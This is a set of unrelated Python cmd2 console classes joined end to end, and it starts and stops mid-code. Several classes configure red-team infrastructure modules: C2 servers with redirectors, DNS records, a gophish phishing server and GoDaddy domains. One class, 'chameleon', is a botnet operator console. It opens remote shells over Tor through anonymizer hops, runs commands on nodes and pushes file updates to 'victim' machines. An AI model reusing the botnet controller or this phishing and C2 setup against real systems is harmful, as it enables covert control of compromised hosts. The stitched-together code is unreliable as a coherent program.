variables of the module') # create the parser for the "region" sub-command parser_region = set_subparsers.add_parser( 'region', help= 'Regions to create Droplet in. Defaults to LON1. Accepted values are NYC1/2/3, SFO1/2, AMS1/2, SGP1, LON1, FRA1, TOR1, BLR1.' ) module_regions_parser = parser_region.add_argument( 'region', choices=available_regions_list, type=str, help='example : [ set region <AMS1> ]') # create the parser for the "type" sub-command parser_type = set_subparsers.add_parser( 'type', help='Type of c2 Accepted values are: HTTP/DNS.') parser_type.add_argument('type', choices=type_list, type=str, help='example: set type <http> ]') # create the parser for the "redirectors" sub-command parser_redirectors = set_subparsers.add_parser( 'redirectors', help='Number of redirectors to launch for each c2. Defaults to 1.') parser_redirectors.add_argument('redirectors', type=int, help='example: [ set redirectors <3>') # create the parser for the "provider" sub-command parser_provider = set_subparsers.add_parser('provider', help='Provider to be used ') module_provider_parser = parser_provider.add_argument( 'provider', choices=providers_list, type=str, help='example: [ set provider <digitalocean> ]') # create the parser for the "tools" sub-command parser_tools = set_subparsers.add_parser( 'tools', help='Tools to be installed on droplet creation.') parser_tools.add_argument( 'tools', nargs="+", choices=tools_list, type=str, help='example: [ set tools < metasploit empire ...>] ') # create the parser for the "size" sub-command parser_size = set_subparsers.add_parser('size', help='Size of the droplet.') module_size_parser = parser_size.add_argument( 'size', type=str, help='example: [ set size <s-1vcpu-1gb>] ') # create the parser for the "distro" sub-command parser_distro = set_subparsers.add_parser('distro', help='Distro to be used ') module_distro_parser = parser_distro.add_argument( 'distro', choices=distros_list, type=str, help='example: [ set distro <debian> ]') def set_region(self, arg): """Sets the region variable""" self.mod["region"] = arg.region # Change provider for all modules on AWS if self.mod["provider"] == "aws": notification = cmd2.ansi.style("***", fg=Fg.RED, bg=None, bold=True, underline=False) print( f"""\n{notification} Only one region is supported per project on AWS. {notification}\n""" ) global campaign_list for c in campaign_list: if c["provider"] == "aws": if c["region"] != arg.region: print( cmd2.ansi.style( f"""Module with {c["id"]} has region set to {c["region"]}. Replacing...""", fg=Fg.RED, bg=None, bold=True, underline=False)) c["region"] = arg.region def set_redirectors(self, arg): """Sets the redirectors variable""" self.mod["redirectors"] = arg.redirectors def set_type(self, arg): """Sets the type variable""" self.mod["type"] = arg.type def set_provider(self, arg): """Sets the provider variable""" self.mod["provider"] = arg.provider dir_path = "config" if os.path.exists(dir_path + "/config.json"): with open(dir_path + '/config.json', 'r') as filehandle: config = json.load(filehandle) for prov in self.providers_list: if self.mod["provider"] == prov: self.available_regions_list = config[prov]["regions"] self.module_regions_parser.choices = self.available_regions_list self.mod[ "distro"] = "debian" # It must always defaults to debian (digital-ocean does not support kali) self.module_distro_parser.choices = config[prov][ "supported_distros"] self.size_list = config[prov]["size"] self.module_size_parser.choices = self.size_list self.mod["region"] = config[prov]["default_region"] self.mod["size"] = config[prov]["default_size"] if self.mod["provider"] == "aws": self.mod["ami"] = config["aws"]["amis"][ self.mod["region"] + "-" + self.mod["distro"]] else: self.mod["ami"] = "" def set_tools(self, arg): """Sets the tools variable""" self.mod["tools"] = arg.tools def set_size(self, arg): """Sets the size variable""" self.mod["size"] = arg.size def set_distro(self, arg): """Sets the distro variable""" self.mod["distro"] = arg.distro #checks if provider is aws to load correct ami if self.mod["provider"] == "aws": dir_path = "config" if os.path.exists(dir_path + "/config.json"): with open(dir_path + '/config.json', 'r') as filehandle: config = json.load(filehandle) self.mod["ami"] = config["aws"]["amis"][self.mod["region"] + "-" + self.mod["distro"]] else: self.mod["ami"] = "" #Set handler functions for the sub-commands parser_size.set_defaults(func=set_size) parser_region.set_defaults(func=set_region) parser_redirectors.set_defaults(func=set_redirectors) parser_type.set_defaults(func=set_type) parser_provider.set_defaults(func=set_provider) parser_tools.set_defaults(func=set_tools) parser_distro.set_defaults(func=set_distro) @cmd2.with_argparser(set_parser) def do_set(self, args): """Set the variables for the module""" func = getattr(args, 'func', None) if func is not None: # Call whatever sub-command function was selected func(self, args) else: # No sub-command was provided, so call help self.do_help('help') def do_add(self, args): """Adds c2 module to the project """ global module module = self.mod return True # Command categories CMD_CAT_GENERAL = 'General' CMD_CAT_MODULE = 'Module' cmd2.categorize((do_add, do_set), CMD_CAT_MODULE) cmd2.categorize(do_info, CMD_CAT_GENERAL)
class cmd_main(cmd2.Cmd): """cmd2 instance for dns_records module""" providers_list = [] types_list = [ "A", "MX", "TXT" ] #["AAAA", "CAA", "CNAME", "MX", "NAPTR", "NS", "PTR", "SOA", "SPF", "SRV"] values_list = ["v=DMARC1; p=none; sp=none;", "v=spf1 mx -all"] # The mod dictionary for the dns_records module mod = {} def __init__(self): super().__init__() #Hide the Quit funcitionality ( if it is deleted it causes erros) hide_cmd2_modules(self) global campaign_list global modules_ids global module global domain_names dir_path = "config" if os.path.exists(dir_path + "/config.json"): with open(dir_path + '/config.json', 'r') as filehandle: config = json.load(filehandle) self.mod = config["mod_dns_record"] self.providers_list = config["providers_list"] self.module_provider_parser.choices = self.providers_list else: print("The config/config.json file does not exists! Exiting...") return True # Check if the editmodule functionality was used if module: self.mod = dict(module) else: self.mod["id"] = randomString() # Create list with modules id modules_ids = [] for c in campaign_list: if c["module"] != "dns_record" and c[ "module"] != "letsencrypt" and c["module"] != "godaddy": if c["module"] == "mail" or c["module"] == "redirector": modules_ids.insert(len(modules_ids), (c["id"] + "/" + c["module"])) else: modules_ids.insert(len(modules_ids), (c["id"] + "/" + c["module"])) for i in range(c["redirectors"]): modules_ids.insert( len(modules_ids), (c["id"] + "-" + str(i + 1) + "/" + c["module"])) self.domain_recrod_parser.choices = domain_names self.module_recrod_parser.choices = modules_ids def do_back(self, arg): """Return to main menu""" return True def do_clear(self, arg): """Clears screen""" os.system('clear') def do_info(self, mod): """Prints variable table or contents of a module added to the campain""" if mod: x = PrettyTable() x.title = mod["module"] + "/" + mod["id"] x.field_names = ["VARIABLE", "VALUE", "REQUIRED", "DESCRITPION"] x.add_row(["id", mod["id"], "N/A", ""]) x.add_row( ["provider", mod["provider"], "yes", "Provider to be used"]) x.add_row([ "type", mod["type"], "yes", "The record type to add. Valid values are A, MX and TXT." ]) x.add_row([ "record", mod["records"], "yes", "The record to add.\n A: set record -m <module_id> -d <domain>\n TXT: set record -d <domain> -t <template>/-v <custom>\n MX: set record -m <module_id> -d <domain>" ]) x.add_row([ "name", mod["name"], "yes", "Use @ to create the record at the root of the domain or enter a hostname to create it elsewhere.\nA records are for IPv4 addresses only and tell a request where your domain should direct to. For AWS the '@' is converted to ''." ]) x.add_row([ "priority", mod["priority"], "no", "Used for mail server. Default 1." ]) x.add_row(["ttl", mod["ttl"], "no", "Time to live"]) x.align["DESCRITPION"] = "l" else: x = PrettyTable() x.title = 'DNS Records module' x.field_names = ["VARIABLE", "VALUE", "REQUIRED", "DESCRITPION"] x.add_row(["id", self.mod["id"], "N/A", ""]) x.add_row([ "provider", self.mod["provider"], "yes", "Provider to be used" ]) x.add_row([ "type", self.mod["type"], "yes", "The record type to add. Valid values are A, MX and TXT." ]) x.add_row([ "record", self.mod["records"], "yes", "The record to add.\n A: set record -m <module_id> -d <domain>\n TXT: set record -d <domain> -t <template>/-v <custom>\n MX: set record -m <module_id> -d <domain>" ]) x.add_row([ "name", self.mod["name"], "yes", "Use @ to create the record at the root of the domain or enter a hostname to create it elsewhere.\nA records are for IPv4 addresses only and tell a request where your domain should direct to." ]) x.add_row([ "priority", self.mod["priority"], "no", "Used for mail server. Default 1," ]) x.add_row(["ttl", self.mod["ttl"], "no", "Time to live"]) x.align["DESCRITPION"] = "l" print(x) # set command # create the top-level parser for the set command set_parser = argparse.ArgumentParser(prog='set') set_subparsers = set_parser.add_subparsers(title='set-commands', help='set-command help') # create the parser for the "type" sub-command parser_type = set_subparsers.add_parser( 'type', help= 'The record type to add. Valid values are A, AAAA, CAA, CNAME, MX, NAPTR, NS, PTR, SOA, SPF, SRV and TXT.' ) parser_type.add_argument('type', choices=types_list, type=str, help='example: [ set type <MX> ]') # create the parser for the "provider" sub-command parser_provider = set_subparsers.add_parser('provider', help='Provider to be used ') module_provider_parser = parser_provider.add_argument( 'provider', choices=providers_list, type=str, help='example: [ set provider <digitalocean> ]') # create the parser for the "name" sub-command parser_name = set_subparsers.add_parser( 'name', help= 'Use @ to create the record at the root of the domain or enter a hostname to create it elsewhere. A records are for IPv4 addresses only and tell a request where your domain should direct to.' ) parser_name.add_argument('name', type=str, help='example: [ set name www ], [ set name @]') # create the parser for the "priority" sub-command parser_priority = set_subparsers.add_parser('priority', help='Set priority') parser_priority.add_argument('priority', type=int, help='example: [ set priority <1> ]') # create the parser for the "record" sub-command parser_record = set_subparsers.add_parser( 'record', help= """Sets the record\n examples\n A: set record -m <module_id> -d <domain>\n TXT: set record -d <domain> -t <template> / set record -d <domain> -v <custom>\n MX: set record -m <module_id> -d <domain>""" ) module_recrod_parser = parser_record.add_argument( '-m', '--module', type=str, help='Module ID to add') #choices=campaign_list, # parser_record.add_argument('-r','--redirector', type=int, help='Redirector of module to use') domain_recrod_parser = parser_record.add_argument( '-d', '--domain', type=str, help='domain to use') #,choices=domain_names, parser_record.add_argument('-v', '--value', type=str, help='Custom vaule to be added') # ,nargs="?" parser_record.add_argument('-t', '--txt_templ', type=str, choices=values_list, help='TXT predifined records') def set_type(self, arg): """Sets the type variable""" self.mod["type"] = arg.type global campaign_list global modules_ids modules_ids = [] if arg.type == "MX": for c in campaign_list: if c["module"] == "mail": modules_ids.insert(len(modules_ids), c["id"]) self.module_recrod_parser.choices = modules_ids else: for c in campaign_list: if c["module"] != "dns_record" and c[ "module"] != "letsencrypt" and c[ "module"] != "redirector": if c["module"] == "mail": modules_ids.insert(len(modules_ids), (c["id"] + "/" + c["module"])) else: modules_ids.insert(len(modules_ids), (c["id"] + "/" + c["module"])) for i in range(c["redirectors"]): modules_ids.insert(len(modules_ids), (c["id"] + "-" + str(i + 1) + "/" + c["module"])) self.module_recrod_parser.choices = modules_ids def set_name(self, arg): """Sets the name variable""" if arg.name == "@" and self.mod["provider"] == "aws": self.mod["name"] = "" elif arg.name == "" and self.mod["provider"] == "digitalocean": self.mod["name"] = "@" else: self.mod["name"] = arg.name def set_priority(self, arg): """Sets the priority variable""" self.mod["priority"] = arg.priority def set_provider(self, arg): """Sets the provider variable""" # Check if a provider exists to set up a dns record do_flag = False aws_flag = False global campaign_list if arg.provider == "aws": for c in campaign_list: if c["provider"] == "aws": aws_flag = True if not aws_flag: print( "No aws module was set! Returing without setting the value" ) return if arg.provider == "digitalocean": for c in campaign_list: if c["provider"] == "digitalocean": do_flag = True if not do_flag: print( "No digitalocean module was set! Returing without setting the value" ) return self.mod["provider"] = arg.provider if self.mod["name"] == "@" and self.mod["provider"] == "aws": self.mod["name"] = "" elif self.mod["name"] == "" and self.mod["provider"] == "digitalocean": self.mod["name"] = "@" def set_record(self, arg): """Sets the record""" global campaign_list record = {} if self.mod["type"] == "MX": if arg.module is not None: for c in campaign_list: if c["module"] == "mail" and c["id"] == arg.module.split( '/')[0]: record = { c["domain_name"]: c["subdomain"] + "." + c["domain_name"] + "." } self.mod["records"] = record if record is None: print("The module is not a mail server") elif self.mod["type"] == "TXT": if arg.txt_templ is not None: if arg.domain is not None and arg.value is None: record = {arg.domain: arg.txt_templ} self.mod["records"] = record else: print( "The txt type requires domain and value or txt_templ to be set" ) else: if arg.domain is not None and arg.txt_templ is None: record = {arg.domain: arg.value} self.mod["records"] = record else: print( "The txt type requires domain and value or txt_temp to be set" ) else: if arg.domain is not None and arg.module is not None: # and arg.redirector: for c in campaign_list: if arg.module.split('-')[0] == c["id"]: record = {arg.domain: arg.module.split('/')[0]} self.mod["records"] = record break elif arg.module.split('/')[0] == c["id"]: record = {arg.domain: arg.module.split('/')[0]} self.mod["records"] = record else: print("The A type requires domain and a module to be set") #Set handler functions for the sub-commands parser_provider.set_defaults(func=set_provider) parser_type.set_defaults(func=set_type) parser_name.set_defaults(func=set_name) parser_priority.set_defaults(func=set_priority) parser_record.set_defaults(func=set_record) @cmd2.with_argparser(set_parser) def do_set(self, args): """Set the variables for the module""" func = getattr(args, 'func', None) if func is not None: # Call whatever sub-command function was selected func(self, args) else: # No sub-command was provided, so call help self.do_help('help') def do_add(self, args): """Adds a dns_record module to the project """ global module do_flag = False aws_flag = False global campaign_list if not self.mod["records"]: print("The variable records can not be None!") elif self.mod["provider"] == "digitalocean": for c in campaign_list: if c["provider"] == "digitalocean": do_flag = True break if not do_flag: print("No digitalocean module was set!") else: module = self.mod return True elif self.mod["provider"] == "aws": for c in campaign_list: if c["provider"] == "aws": aws_flag = True break if not aws_flag: print("No aws module was set!") else: module = self.mod return True else: module = self.mod return True # Command categories CMD_CAT_GENERAL = 'General (type help <command>)' CMD_CAT_MODULE = 'Module (type help <command>)' cmd2.categorize((do_add, do_set), CMD_CAT_MODULE) cmd2.categorize(do_info, CMD_CAT_GENERAL)
class cmd_main(cmd2.Cmd): """cmd2 instance for gophish module""" # The mod dictionary for the gophish module mod = {} available_regions_list = [] providers_list = [] def __init__(self): super().__init__() global module # Hide the Quit funcitionality hide_cmd2_modules(self) dir_path = "config" if os.path.exists(dir_path+"/config.json"): with open(dir_path+'/config.json', 'r') as filehandle: config = json.load(filehandle) self.mod = config["mod_gophish"] self.providers_list = config["providers_list"] self.module_provider_parser.choices = self.providers_list for prov in self.providers_list: if self.mod["provider"] == prov: self.available_regions_list = config[prov]["regions"] self.module_regions_parser.choices = self.available_regions_list self.size_list = config[prov]["size"] self.module_size_parser.choices = self.size_list else: print("The config/config.json file does not exists! Exiting...") return True if module: self.mod = dict(module) else: self.mod["id"] = randomString() def do_back(self, arg): """Return to main menu""" return True def do_clear(self, arg): """Clears screen""" os.system('clear') def do_info(self,mod): """Prints variable table""" if mod: x = PrettyTable() x.title = mod["module"] + "/"+ mod["id"] x.field_names = ["VARIABLE", "VALUE", "REQUIRED", "DESCRITPION"] x.add_row(["id", mod["id"], "N/A", "Module ID"]) x.add_row(["provider", mod["provider"], "yes", "Provider to be used"]) x.add_row(["region",mod["region"] , "yes", "Regions to create Droplet in."]) x.add_row(["size",mod["size"] , "yes", "Droplet size to launch."]) x.add_row(["redirectors",mod["redirectors"] , "yes", "Number of redirectors to launch for each gophish instance. Defaults to 1."]) x.align["DESCRITPION"] = "l" else: x = PrettyTable() x.title = 'Gophish module' x.field_names = ["VARIABLE", "VALUE", "REQUIRED", "DESCRITPION"] x.add_row(["id", self.mod["id"], "N/A", "Module ID"]) x.add_row(["provider", self.mod["provider"], "yes", "Provider to be used"]) x.add_row(["region",self.mod["region"] , "yes", "Regions to create Droplet in. Defaults to LON1."]) x.add_row(["size",self.mod["size"] , "yes", "Droplet size to launch."]) x.add_row(["redirectors",self.mod["redirectors"] , "yes", "Number of redirectors to launch for each gophish instance. Defaults to 1."]) x.align["DESCRITPION"] = "l" print(x) # set command # create the top-level parser for the set command set_parser = argparse.ArgumentParser(prog='set') set_subparsers = set_parser.add_subparsers(title='set-commands', help='Sets the variables fof the module') # create the parser for the "region" sub-command parser_region = set_subparsers.add_parser('region', help='Regions to create Droplet( in. Defaults to LON1. Accepted values are NYC1/2/3, SFO1/2, AMS1/2, SGP1, LON1, FRA1, TOR1, BLR1.') module_regions_parser = parser_region.add_argument('region',choices=available_regions_list, type=str, help='example : [ set region <AMS1> ]') # create the parser for the "redirectors" sub-command parser_redirectors = set_subparsers.add_parser('redirectors', help='Number of redirectors to launch for each gophish instance. Defaults to 1.') parser_redirectors.add_argument('redirectors', type=int, help='example: [ set redirectors <3>') # create the parser for the "provider" sub-command parser_provider = set_subparsers.add_parser('provider', help='Provider to be used ') module_provider_parser = parser_provider.add_argument('provider',choices=providers_list, type=str, help='example : [set provider <digitalocean> ]') # create the parser for the "size" sub-command parser_size = set_subparsers.add_parser('size', help='Size of the droplet.') module_size_parser = parser_size.add_argument('size', type=str, help='example: [ set size <s-1vcpu-1gb>] ') def set_region(self, arg): """Sets the region variable""" self.mod["region"]= arg.region # Change provider for all modules on AWS if self.mod["provider"] == "aws": notification = cmd2.ansi.style("***", fg=Fg.RED, bg=None,bold=True, underline=False) print(f"""\n{notification} Only one region is supported per project on AWS. {notification}\n""") global campaign_list for c in campaign_list: if c["provider"] == "aws": if c["region"] != arg.region: print(cmd2.ansi.style(f"""Module with {c["id"]} has region set to {c["region"]}. Replacing...""", fg=Fg.RED, bg=None,bold=True, underline=False)) c["region"] = arg.region def set_redirectors(self, arg): """Sets the redirectors variable""" self.mod["redirectors"] = arg.redirectors def set_provider(self, arg): """Sets the provider variable""" self.mod["provider"]= arg.provider dir_path = "config" if os.path.exists(dir_path+"/config.json"): with open(dir_path+'/config.json', 'r') as filehandle: config = json.load(filehandle) for prov in self.providers_list: if self.mod["provider"] == prov: self.available_regions_list = config[prov]["regions"] self.module_regions_parser.choices = self.available_regions_list self.size_list = config[prov]["size"] self.module_size_parser.choices = self.size_list self.mod["region"] = config[prov]["default_region"] self.mod["size"] = config[prov]["default_size"] def set_size(self, arg): """Sets the tools variable""" self.mod["size"]= arg.size #Set handler functions for the sub-commands parser_size.set_defaults(func=set_size) parser_region.set_defaults(func=set_region) parser_redirectors.set_defaults(func=set_redirectors) parser_provider.set_defaults(func=set_provider) @cmd2.with_argparser(set_parser) def do_set(self, args): """Set the variables for the module""" func = getattr(args, 'func', None) if func is not None: # Call whatever sub-command function was selected func(self, args) else: # No sub-command was provided, so call help self.do_help('help') def do_add(self,args): """Adds gophish module to the project """ global module module = self.mod return True # Command categories CMD_CAT_GENERAL = 'General (type help <command>)' CMD_CAT_MODULE = 'Module (type help <command>)' cmd2.categorize((do_add,do_set), CMD_CAT_MODULE) cmd2.categorize(do_info, CMD_CAT_GENERAL)
def __new__(cls, name, bases, attrs): # Target: create dynamic methods in ShellClient class with this metaclass # Create empty variable. After it will be filled attrs['shell_methods_name'] = list() # First recover all methods from server # If it fails, regular behaviour will be executed try: obj = Pyro4.Proxy("PYRONAME:shell_manager_module@:{}".format(PYRO_NS_PORT)) Pyro4.naming.type_meta(obj) # Recover version from server z_version_name = obj.shell_zappversion(None) if z_version_name: attrs['z_version_name'] = z_version_name else: attrs['z_version_name'] = '' except Pyro4.errors.CommunicationError as e1: print('Communication error with server: {}'.format(e1)) attrs['z_version_name'] = '' return super(MetaShellClient, cls).__new__(cls, name, bases, attrs) except Pyro4.errors.NamingError as e2: print('Cannot communicate with shell_manager_module via RPC naming server - {}'.format(e2)) attrs['z_version_name'] = '' return super(MetaShellClient, cls).__new__(cls, name, bases, attrs) all_methods = inspect.getmembers(obj) attrs['rpc_object'] = obj # Filter only by shell methods # methods[x][0] --> method name # methods[x][1] --> callable method shell_methods_from_server = [tup for tup in all_methods if tup[0].startswith(SHELL_COMMAND_PREFIX)] help_methods_from_server = [tup for tup in all_methods if tup[0].startswith(HELP_COMMAND_PREFIX)] category_methods_from_server = [tup for tup in all_methods if tup[0].startswith(CATEGORY_METHOD_PREFIX)] # Rename method name removing SHELL_COMMAND_PREFIX # Also save method names in a list shell_methods_name = list() shell_methods = list() for sm in shell_methods_from_server: method_name = sm[0][len(SHELL_COMMAND_PREFIX):] method_callable = sm[1] shell_methods_name.append(method_name) shell_methods.append((method_name, method_callable)) # Save shell methods name in class attrs['shell_methods_name'] = shell_methods_name # Append help methods help_methods = list() for sm in help_methods_from_server: method_name = sm[0] method_callable = sm[1] help_methods.append((method_name, method_callable)) # Encapsulate RPC method call in function to avoid serialization problems with help method def make_function(methods, i): def function(self, *args): try: out = methods[i][1](args) print(out) except Pyro4.errors.CommunicationError as e1: print('Communication error with server, probably server is down: {}'.format(e1)) except ValueError as e2: if str(e2).startswith('too many values to unpack'): print('Server error. Method [{}] is wrong because it does not assign all the arguments [{}] ' '(see call method get_args_from_shell(args))'.format(methods[i][0], args[0].args)) except Exception as e: print('Server error: {}'.format(e)) return function # Get methods categories in dictionary categories = dict() for i in range(len(category_methods_from_server)): categories = {**categories, **category_methods_from_server[i][1]()} # Iterate all methods with index for i in range(len(shell_methods)): # Create do_ method and assign the new function using category function created_method_name = 'do_' + shell_methods[i][0] attrs[created_method_name] = make_function(shell_methods, i) categorize(attrs[created_method_name], categories.get(shell_methods[i][0], 'Uncategorized')) # Iterate all help methods with index for i in range(len(help_methods)): # Create do_ method and assign the new function attrs[help_methods[i][0]] = make_function(help_methods, i) return super(MetaShellClient, cls).__new__(cls, name, bases, attrs)
class HelpCategories(cmd2.Cmd): """ Example cmd2 application. """ # Command categories CMD_CAT_CONNECTING = 'Connecting' CMD_CAT_APP_MGMT = 'Application Management' CMD_CAT_SERVER_INFO = 'Server Information' def do_connect(self, _): """Connect command""" self.poutput('Connect') # Tag the above command functions under the category Connecting cmd2.categorize(do_connect, CMD_CAT_CONNECTING) @cmd2.with_category(CMD_CAT_CONNECTING) def do_which(self, _): """Which command""" self.poutput('Which') def do_list(self, _): """List command""" self.poutput('List') def do_deploy(self, _): """Deploy command""" self.poutput('Which') def do_start(self, _): """Start command""" self.poutput('Start') def do_sessions(self, _): """Sessions command""" self.poutput('Sessions') def do_redeploy(self, _): """Redeploy command""" self.poutput('Redeploy') restart_parser = argparse.ArgumentParser( formatter_class=argparse.RawTextHelpFormatter) restart_parser.add_argument( 'when', default='now', choices=['now', 'later', 'sometime', 'whenever'], help='Specify when to restart') @cmd2.with_argparser(restart_parser) @cmd2.with_category(CMD_CAT_APP_MGMT) def do_restart(self, _): """Restart command""" self.poutput('Restart') def do_expire(self, _): """Expire command""" self.poutput('Expire') def do_undeploy(self, _): """Undeploy command""" self.poutput('Undeploy') def do_stop(self, _): """Stop command""" self.poutput('Stop') def do_findleakers(self, _): """Find Leakers command""" self.poutput('Find Leakers') # Tag the above command functions under the category Application Management cmd2.categorize((do_list, do_deploy, do_start, do_sessions, do_redeploy, do_expire, do_undeploy, do_stop, do_findleakers), CMD_CAT_APP_MGMT) def do_resources(self, _): """Resources command""" self.poutput('Resources') def do_status(self, _): """Status command""" self.poutput('Status') def do_serverinfo(self, _): """Server Info command""" self.poutput('Server Info') def do_thread_dump(self, _): """Thread Dump command""" self.poutput('Thread Dump') def do_sslconnectorciphers(self, _): """ SSL Connector Ciphers command is an example of a command that contains multiple lines of help information for the user. Each line of help in a contiguous set of lines will be printed and aligned in the verbose output provided with 'help --verbose' This is after a blank line and won't de displayed in the verbose help """ self.poutput('SSL Connector Ciphers') def do_vminfo(self, _): """VM Info command""" self.poutput('VM Info') # Tag the above command functions under the category Server Information cmd2.categorize(do_resources, CMD_CAT_SERVER_INFO) cmd2.categorize(do_status, CMD_CAT_SERVER_INFO) cmd2.categorize(do_serverinfo, CMD_CAT_SERVER_INFO) cmd2.categorize(do_thread_dump, CMD_CAT_SERVER_INFO) cmd2.categorize(do_sslconnectorciphers, CMD_CAT_SERVER_INFO) cmd2.categorize(do_vminfo, CMD_CAT_SERVER_INFO) # The following command functions don't have the HELP_CATEGORY attribute set # and show up in the 'Other' group def do_config(self, _): """Config command""" self.poutput('Config') def do_version(self, _): """Version command""" self.poutput(cmd2.__version__)
class MyPrompt(cmd2.Cmd): prompt = make_blue("chameleon> ") intro = make_blue( """ _____ _ _ / ____| | | | | | | |__ __ _ _ __ ___ ___| | ___ ___ _ __ | | | '_ \ / _` | '_ ` _ \ / _ | |/ _ \/ _ \| '_ \ | |____| | | | (_| | | | | | | __| | __| (_) | | | | \_____|_| |_|\__,_|_| |_| |_|\___|_|\___|\___/|_| |_| """ ) def __init__(self): super().__init__() del cmd2.Cmd.do_alias del cmd2.Cmd.do_macro del cmd2.Cmd.do_quit del cmd2.Cmd.do_shortcuts self.hidden_commands.append("edit") self.hidden_commands.append("set") self.hidden_commands.append("EOF") self.hidden_commands.append("py") self.hidden_commands.append("run_pyscript") self.hidden_commands.append("run_script") __botnet = "botnet" __setup = "setup" __basic = "basic" __private_key_path = None __socket = None __terminal = False categorize( (cmd2.Cmd.do_shell, cmd2.Cmd.do_history, cmd2.Cmd.do_help), __basic, ) set_pem_argparser = argparse.ArgumentParser( description="Set where the private key file is stored" ) set_pem_argparser.add_argument( "private_key_path", help="path where the file is located", ) @with_argparser(set_pem_argparser) @with_category(__setup) def do_set_pem(self, args: argparse.Namespace): path = args.private_key_path if not path: print_red("No path to private key file provided") self.__private_key_path = path print_yellow(f"Private key path -> {self.__private_key_path}") connect_argparser = argparse.ArgumentParser(description="Connect to server") connect_argparser.add_argument( "-a", "--num-anonymizers", type=int, dest="num_anonymizers", help="Number of hops between origin and recipient", default=0, ) connect_argparser.add_argument( "-n", "--file-nodes", dest="node_list_path", help="Path to file containing a list with nodes in the" + " format (name, download address, communication address)", default=None, ) @with_argparser(connect_argparser) @with_category(__botnet) def do_connect(self, args: argparse.Namespace): if self.__private_key_path is None: print_red("Private key path is not configured") return node_list_path = args.node_list_path num_anonymizers = args.num_anonymizers print_green("\nWhich server do you want to connect to?\n") node_list = complete_node_list(node_list_path) print_list_with_indexes(node_list) print_green("\n\nIntroduce position of the server in the list:") selected_index = int(input()) selected_node = node_from_index(selected_index, seed_directions, node_list_path) try: self.__connect(selected_node, num_anonymizers) except Exception as e: print_red("Could not establisha communication with the specified node") print_red(e) return self.prompt = make_blue(f"chameleon {selected_node}> ") self.__terminal = True def __connect(self, recipient: str, num_anonymizers: int = 0): if num_anonymizers > 0: next_hop = random.choice(seed_directions)[1] else: next_hop = recipient self.__socket = socket.socket() self.__socket.connect((next_hop, TOR_SERVER_PORT)) self.__send_msg(SHELL, "I want a shell", num_anonymizers, recipient) def __send_msg( self, msg_type: int, msg: str, num_anonymizers: str = "0", address: str = "" ): msg_info = { "num_anonymizers": num_anonymizers, "onion": address, "msg_type": msg_type, "msg": msg, } msg = structure_msg(msg_info) signed_msg = sign_structured_msg(msg, self.__private_key_path) self.__socket.send(signed_msg) disconnect_arg_parser = argparse.ArgumentParser( description="Disconnect from server" ) @with_argparser(disconnect_arg_parser) @with_category(__botnet) def do_disconnect(self, input: str): if self.__socket: close_terminal(self.__socket) self.prompt = make_blue(f"chameleon> ") self.__terminal = False def help_disconnect(self): print("Usage: disconnect\n\n" + "close shell\n") update_argparser = argparse.ArgumentParser( description="Send a message to each peer to update some file" ) update_argparser.add_argument( "-s", "--hash-from-file", type=str, dest="file_path_to_hash", help="File we need to calculate the hash so each peers knows if their" + " copy needs an update", required=True, ) update_argparser.add_argument( "-f", "--file-path-in-victim", type=str, dest="file_path_in_victim", help="File path where the file to be updated is in the victim", required=True, ) update_argparser.add_argument( "-n", "--file-nodes", dest="node_list_path", help="Path to file containing a list with nodes in the" + " format (name, download address, communication address)", default=None, ) @with_argparser(update_argparser) @with_category(__botnet) def do_update(self, args: argparse.Namespace): if self.__private_key_path is None: print_red("Private key path is not configured") return file_path = args.file_path_in_victim file_path_to_hash = args.file_path_to_hash node_list_path = args.node_list_path print_green("\nWhich server has the updated file?\n") node_list = complete_node_list(node_list_path) print_list_with_indexes(node_list) print_green("\n\nIntroduce position of the server in the list:") selected_index = int(input()) selected_node = node_from_index( selected_index, seed_directions, node_list_path, "down" ) msg_info = { "msg_type": UPDATE_FILE, "msg": f"{file_path} {calculate_file_hash(file_path_to_hash)} " + f"{selected_node}", } msg = structure_msg(msg_info) signed_msg = sign_structured_msg(msg, self.__private_key_path) with open(node_list_path, "r") as neighbours: neighbours_info = neighbours.readlines() victim_directions = [ line.strip().split()[2].strip() for line in neighbours_info ] onions = [seed_comm[1] for seed_comm in seed_directions] + victim_directions broadcast(TOR_SERVER_PORT, signed_msg, onions) @with_category(__basic) def do_exit(self, input: str): return True def help_exit(self): print("exit the prompt") def default(self, inp: cmd2.Statement): msg = inp.command_and_args if self.__terminal is True: self.__execute_remotely(msg) else: if msg == "q": return self.do_exit(msg) else: print("Unrecognized command") def __execute_remotely(self, msg: str): coded_msg = msg.encode(ENCODING) self.__socket.send(coded_msg) ciphertext = self.__socket.recv(BUFFER_SIZE) plain_text = decrypt(ciphertext, self.__private_key_path) print_yellow(plain_text) do_EOF = do_exit help_EOF = help_exit
class cmd_main(cmd2.Cmd): """cmd2 instance for godaddy module""" # The mod dictionary for the godaddy module mod = {} providers_list = [] def __init__(self): super().__init__() global module global domain_list # Hide the Quit funcitionality hide_cmd2_modules(self) dir_path = "config" if os.path.exists(dir_path + "/config.json"): with open(dir_path + '/config.json', 'r') as filehandle: config = json.load(filehandle) self.mod = config["mod_godaddy"] self.providers_list = config["providers_list"] self.module_domain_parser.choices = domain_list else: print("The config/config.json file does not exists! Exiting...") return True # Check if the editmodule functionality was used if module: self.mod = dict(module) else: self.mod["id"] = randomString() def do_back(self, arg): """Return to main menu""" return True def do_clear(self, arg): """Clears screen""" os.system('clear') def do_info(self, mod): """Prints variable table""" if mod: x = PrettyTable() x.title = mod["module"] + "/" + mod["id"] x.field_names = ["VARIABLE", "VALUE", "REQUIRED", "DESCRITPION"] x.add_row(["id", mod["id"], "N/A", "Module ID"]) x.add_row( ["provider", mod["provider"], "N/A", "Autoloaded from domain"]) x.add_row(["domain", mod["domain"], "yes", "Domain to be used"]) x.align["DESCRITPION"] = "l" else: x = PrettyTable() x.title = 'Godaddy module' x.field_names = ["VARIABLE", "VALUE", "REQUIRED", "DESCRITPION"] x.add_row(["id", self.mod["id"], "N/A", "Module ID"]) x.add_row([ "provider", self.mod["provider"], "N/A", "Autoloaded from domain" ]) x.add_row( ["domain", self.mod["domain"], "yes", "Domain to be used"]) x.align["DESCRITPION"] = "l" print(x) # set command # create the top-level parser for the set command set_parser = argparse.ArgumentParser(prog='set') set_subparsers = set_parser.add_subparsers( title='set-commands', help='Sets the variables of the module') # create the parser for the "domain" sub-command parser_domain = set_subparsers.add_parser('domain', help='Domain to be used') module_domain_parser = parser_domain.add_argument( 'domain', choices=providers_list, type=str, help='example : [set domain <domain> ]') def set_domain(self, arg): """Sets the domain variable""" exception_flag = False for mod in campaign_list: if 